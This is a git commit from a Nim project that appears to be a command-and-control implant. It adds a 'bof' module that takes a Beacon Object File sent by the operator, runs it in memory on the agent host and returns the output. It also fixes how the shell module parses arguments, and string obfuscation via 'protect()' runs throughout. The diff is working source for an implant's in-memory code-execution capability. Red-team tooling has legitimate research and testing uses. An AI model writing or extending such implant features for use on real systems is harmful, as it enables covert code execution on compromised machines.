Added 'bof' module for executing object files and fixed handling of optional arguments.

This commit is contained in:
Jakob Friedl
2025-08-29 15:58:26 +02:00
parent 352b8fd8d1
commit 4ceb756cfd
8 changed files with 138 additions and 85 deletions

58
src/modules/bof.nim Normal file
View File

@@ -0,0 +1,58 @@
import ../common/[types, utils]
# Define function prototype
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
Command(
name: protect("bof"),
commandType: CMD_BOF,
description: protect("Execute a object file in memory and retrieve the output."),
example: protect("bof /path/to/dir.x64.o C:\\Users"),
arguments: @[
Argument(name: protect("path"), description: protect("Local path to the object file to execute."), argumentType: BINARY, isRequired: true),
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file."), argumentType: STRING, isRequired: false)
],
execute: executeBof
)
]
# Implement execution functions
when defined(server):
proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import osproc, strutils, strformat
import ../agent/core/coff
import ../agent/protocol/result
import ../common/utils
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
try:
var
objectFile: seq[byte]
arguments: seq[byte]
# Parse arguments
case int(task.argCount):
of 1: # Only the object file has been passed as an argument
objectFile = task.args[0].data
arguments = @[]
else: # The optional 'arguments' parameter was included
objectFile = task.args[0].data
# Combine the passed arguments into a format that is understood by the Beacon API
arguments = generateCoffArguments(task.args[1..^1])
echo fmt" [>] Executing object file."
let output = inlineExecuteGetOutput(objectFile, arguments)
if output != "":
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
else:
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -6,7 +6,8 @@ import
shell,
sleep,
filesystem,
environment
environment,
bof
type
ModuleManager* = object
@@ -26,6 +27,7 @@ proc loadModules*() =
registerCommands(sleep.commands)
registerCommands(filesystem.commands)
registerCommands(environment.commands)
registerCommands(bof.commands)
proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType]

View File

@@ -39,11 +39,11 @@ when defined(agent):
of 1: # Only the command has been passed as an argument
command = Bytes.toString(task.args[0].data)
arguments = ""
of 2: # The optional 'arguments' parameter was included
else: # The optional 'arguments' parameter was included
command = Bytes.toString(task.args[0].data)
arguments = Bytes.toString(task.args[1].data)
else:
discard
for arg in task.args[1..^1]:
arguments &= Bytes.toString(arg.data) & " "
echo fmt" [>] Executing command: {command} {arguments}"